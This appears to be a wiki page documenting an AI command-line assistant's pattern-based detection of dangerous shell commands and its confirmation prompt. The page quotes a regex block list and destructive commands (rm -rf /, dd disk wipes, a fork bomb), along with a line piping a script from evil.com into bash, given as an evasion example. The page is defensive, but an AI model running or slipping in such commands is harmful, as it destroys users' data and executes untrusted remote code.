Skip to content

Dangerous Commands

andershsueh edited this page Feb 10, 2026 · 2 revisions

Dangerous Commands

📖 Languages: English only | 中文翻译征集中 | 日本語翻訳募集中

Understanding ALICE's safety features for executing system commands.

Overview

The executeCommand tool can perform powerful system operations, but with power comes risk. ALICE includes built-in safety mechanisms to prevent accidental data loss or system damage.

How It Works

Detection System

ALICE analyzes commands before execution using pattern matching:

const DANGEROUS_PATTERNS = [
  // File deletion
  /rm\s+-rf/i,              // Unix: rm -rf
  /del\s+\/[sf]/i,          // Windows: del /s /f
  
  // Disk operations
  /format\s+[a-z]:/i,       // Windows: format C:
  /mkfs/i,                  // Unix: mkfs
  /dd\s+if=/i,              // Unix: dd if=/dev/zero
  
  // System power
  /shutdown/i,              // Shutdown
  /reboot/i,                // Reboot
  /halt/i,                  // Halt
  
  // Dangerous scripts
  /:(){:|:&};:/,            // Fork bomb
];

If a command matches any pattern, it's flagged as dangerous.

Confirmation Dialog

When a dangerous command is detected:

┌─────────────────────────────────────┐
│ ⚠️  Dangerous Command Warning        │
│                                     │
│ Command: rm -rf node_modules        │
│                                     │
│ Risk: This command may cause        │
│       irreversible data loss        │
│                                     │
│ Confirm execution? (y/N): _         │
│                                     │
│ Tip: You can disable this warning   │
│      by setting "dangerous_cmd":    │
│      false in ~/.alice/settings.jsonc│
└─────────────────────────────────────┘

User Actions

  • Type y + Enter - Execute the command
  • Type n + Enter or Press ESC - Cancel execution
  • Default: Cancel (if you just press Enter)

Configuration

Control confirmation behavior in ~/.alice/settings.jsonc:

Option 1: Ask for Confirmation (Default, Recommended)

{
  "dangerous_cmd": true
}

Behavior:

  • ✅ Shows confirmation dialog for dangerous commands
  • ✅ Executes safe commands immediately
  • ✅ Recommended for all users

Option 2: No Confirmation (Power Users Only)

{
  "dangerous_cmd": false
}

Behavior:

  • ⚠️ Executes ALL commands without asking
  • ⚠️ No safety net for destructive operations
  • ⚠️ Only for experienced users who know what they're doing

Dangerous Command Categories

1. File Deletion

Commands that can delete files recursively:

Platform Command What It Does
Unix rm -rf <path> Delete recursively, force
Windows del /s /f <path> Delete recursively, force
Windows rmdir /s /q <path> Remove directory recursively
Cross rm -rf / ⚠️ Delete everything

Example Conversation:

> You: Delete the build folder

[🔧 executeCommand] Preparing: rm -rf build/

⚠️ Dangerous Command Warning
Command: rm -rf build/
Confirm? (y/N): y

[🔧 Executing...
[✅ Command completed

Alice: build/ has been deleted.

2. Disk Operations

Commands that can format or modify disks:

Platform Command What It Does
Windows format C: Format entire disk
Unix mkfs.ext4 /dev/sda Create filesystem (destroys data)
Unix dd if=/dev/zero of=/dev/sda Wipe disk

Example:

> You: Format the USB drive

[🔧 executeCommand] Preparing: format D:

⚠️ DANGER: This will erase ALL data on D:
Confirm? (y/N): n

Alice: Command cancelled by user.

3. System Power

Commands that shut down or restart the system:

Platform Command What It Does
All shutdown Shut down system
All reboot Restart system
Unix halt Stop system immediately
Windows shutdown /s /t 0 Immediate shutdown

Example:

> You: Restart the computer

[🔧 executeCommand] Preparing: shutdown /r /t 0

⚠️ This will restart your computer immediately
Confirm? (y/N): y

[🔧 Executing...
Alice: Restarting now...

4. Destructive Scripts

Malicious or harmful code patterns:

Type Example What It Does
Fork bomb :(){:|:&};: Crashes system by spawning processes
Infinite loop while true; do :; done Consumes resources

These are always flagged and require confirmation.

Safe Alternatives

Instead of dangerous commands, consider safer alternatives:

File Deletion

❌ Dangerous: rm -rf node_modules
✅ Safe: Use package manager to clean: npm clean-install

❌ Dangerous: del /s /f C:\Windows
✅ Safe: Use Disk Cleanup or Settings app

Disk Management

❌ Dangerous: format D:
✅ Safe: Use Disk Management GUI

❌ Dangerous: dd if=/dev/zero of=/dev/sda
✅ Safe: Use shred or specialized tools

System Restart

❌ Dangerous: shutdown -h now
✅ Safe: shutdown -h +5 (5 minute delay to save work)

Cross-Platform Support

ALICE detects dangerous commands on all platforms:

Windows (PowerShell)

Remove-Item -Recurse -Force C:\data  # ⚠️ Dangerous
del /s /f C:\data                    # ⚠️ Dangerous
format D:                             # ⚠️ Dangerous

macOS/Linux (Bash)

rm -rf ~/Documents                    # ⚠️ Dangerous
sudo mkfs.ext4 /dev/sda              # ⚠️ Dangerous
dd if=/dev/zero of=/dev/disk2        # ⚠️ Dangerous

Examples

Example 1: Confirmed Dangerous Command

> You: Remove all log files recursively

Alice: I'll delete all .log files in this directory and subdirectories.

[🔧 executeCommand] Preparing: find . -name "*.log" -delete

⚠️ Dangerous Command Warning
Command: find . -name "*.log" -delete
This will permanently delete files.
Confirm? (y/N): y

[🔧 Executing...
[✅ Command completed
Removed 47 log files

Alice: All log files have been deleted.

Example 2: Cancelled Dangerous Command

> You: Delete everything in this folder

Alice: I can delete all contents with this command.

[🔧 executeCommand] Preparing: rm -rf ./*

⚠️ DANGER: This will delete ALL files in current directory
Confirm? (y/N): n

❌ Command cancelled by user

Alice: Command cancelled. No files were deleted.

Example 3: Safe Command (No Confirmation)

> You: List all files

[🔧 executeCommand] ls -la
[✅ Command completed

Alice: Here are all files in the current directory:
total 48
drwxr-xr-x  10 user  staff   320 Feb 10 22:15 .
...

Best Practices

✅ DO

  • Keep dangerous_cmd: true unless you're an expert
  • Read the warning carefully before confirming
  • Double-check the command in the confirmation dialog
  • Use safe alternatives when possible
  • Test on non-critical data first

❌ DON'T

  • Don't blindly confirm dangerous commands
  • Don't disable confirmations without understanding risks
  • Don't run commands you don't understand
  • Don't execute on production systems without backups
  • Don't trust AI blindly - always verify

Limitations

Not Caught by Detection

Some dangerous operations may not be detected:

# These might NOT trigger warnings (but are still dangerous):
python -c "import os; os.system('rm -rf /')"  # Code execution
bash script.sh  # Unknown script contents
wget http://evil.com/malware.sh | bash  # Remote script

Always exercise caution when:

  • Running scripts from unknown sources
  • Executing code in programming languages
  • Using piped commands

False Positives

Sometimes safe commands are flagged:

# Safe: Creating a test directory named "rm-rf"
mkdir rm-rf  # ⚠️ Might trigger warning

In these cases, you can safely confirm.

Frequently Asked Questions

Q: Can I disable confirmations for specific commands?

A: Not yet. Currently it's all-or-nothing. Whitelist feature is planned.

Q: What if I accidentally confirm a dangerous command?

A: Press Ctrl+C immediately to try to cancel. Create backups regularly.

Q: Can ALICE detect all dangerous commands?

A: No. The detection is pattern-based. Always review commands carefully.

Q: Why does ALICE flag safe commands sometimes?

A: Pattern matching has limitations. Confirm if you're sure it's safe.

Q: Is it safe to set dangerous_cmd: false?

A: Only if you fully understand every command ALICE might execute.

See Also


Remember: Safety features are there to protect you. Don't disable them unless you know exactly what you're doing! 🛡️

Clone this wiki locally